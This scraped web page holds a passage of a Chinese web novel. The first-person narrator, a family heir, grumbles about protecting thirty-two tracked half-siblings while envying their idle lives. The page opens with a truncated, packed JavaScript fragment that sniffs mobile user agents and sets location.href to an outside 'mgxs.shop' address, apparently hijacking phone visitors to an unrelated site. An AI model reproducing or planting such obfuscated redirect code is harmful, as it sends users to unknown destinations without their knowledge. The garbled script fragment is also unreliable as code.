RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408187|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带个口罩,还没有在一阵大风吹来的时候及时闭嘴。 我其实也不是一开始就当三十二个人的保姆的,但苍天有眼,我是真找不到那个确切的弟弟/妹妹。 我最抓狂的时候甚至请人问过笔仙,也跳过大神,试图依靠玄学把那个女人勾魂勾回来,当面问问她究竟谁是她的孩子。 但一通法事做下来,魂儿是一点没见,坑蒙拐骗的魔术表演倒是看了不少。 而且考虑到她那失忆的前科,我怀疑她自己都不一定能知道谁是她素未谋面的亲生孩子,于是只好作罢。 从那以后,我就不得不认命地照看那三十二人的命,并且是一个都不能少的,活生生的三十二人。 豪门总裁爆改保姆,还是他爹的是三十二个人的保姆。 不能冒一点风险,不能有半点闪失。 我竟然因为报恩这么天真的理由,对威胁自己生命安全的敌方如此忍让,有的时候我自己都觉得自己有病。 这病现在也没好。 但从我爬出坍塌的实验室的那天起,我有亏欠,我有责任,我有把柄,我有软肋。 我有大病。 即使家族的实际控制权大半在我手中,我却连正面和二大爷对上的勇气都没有。 时间久了,一直无法履行我当初教养他们的承诺,倒还成了一股执念了。 而护着他们这件事,也已经像是呼吸一样自然了。 但其实很多时候我倒也挺庆幸有这么个执念在。 毕竟这些年我为了争权夺位,机关算尽手段频出,有时脑袋里冒出来的想法极端到甚至能吓自己一跳。 但只要这个执念在一天,我就会下意识想到那个女人,而她说过的话就像复读机一样在脑子里叫,怎么也忘不掉。 这么些年过去了,好歹没叫我为了争权夺利太丧良心。 所以与其说是执念,不如说是让我在如此混乱之地身居高位,还能维持基本人性的道标。 否则连我都想象不出来,一张人皮下能藏下多少妖魔鬼怪。 私生子们对我很重要这事我和二大爷心照不宣,我势力渐大他动不了我,那三十二人握在他手我动不了他。 在交锋了数年后,我们达到了微妙的平衡,他不动那三十二人,我不动实验室,然后我们共同隐瞒了那三十二人的行踪。 我俩都知道他们在哪,他直接给了我一个定位器,上面有红彤彤的三十二个分散在世界各地的图标,是他们的定位,也是芯片的定位。 如果我愿意我甚至可以亲自去看他们,但我无法取出芯片,一碰我二大爷就能知道,他知道了就能毫不犹豫按下□□,我真不敢赌啊。 这事天知地知我知二大爷知,就连那三十二个人都毫无所觉,他们不知道自己身上有芯片,他们甚至还以为自己只是竞争失败被逐出家族的流放者,拿着一份不菲的遣散费,即使不工作也能安心生活。 接手家族后我也并非一帆风顺,内部分裂外部动荡,无数个深夜里,我都是靠想着他们才能熬过去。 他们是我的希望,是我的向往,是我的支柱,是我的未来。 只要我一想起他们,就有一种强烈的情绪充满了我的心田。 我他大爷的嫉妒得面目全非。 淦!我怎么就没有我这样的姐姐! 我也想过这种不工作就有钱花,每天看小说打游戏熬夜到飞起,第二天再睡到下午三点施施然睁开了眼的生活啊! 我当初为什么不直接携款潜逃? 我为什么非要接手烂摊子一样的家族? 我为什么还要像个老妈子一样操心连面都没见过几次的弟弟妹妹? 我到底什么时候才能退休啊! 在我最痛苦的日子里,我就是一边想着我那些白吃白喝的弟弟妹妹,一边阴暗爬行,然后度过了无数个快要被巨大的工作量折磨碎了的夜晚。 尤其是现在内有二大爷分裂,外有现任市长施压的艰难期,我总会阴暗地发誓,等着看吧!等熬过这段时日,劳资早晚创翻你们所有不劳动的人! 所有人都给我来打工! 以后没有人能再让我熬夜到凌晨五点,没有人!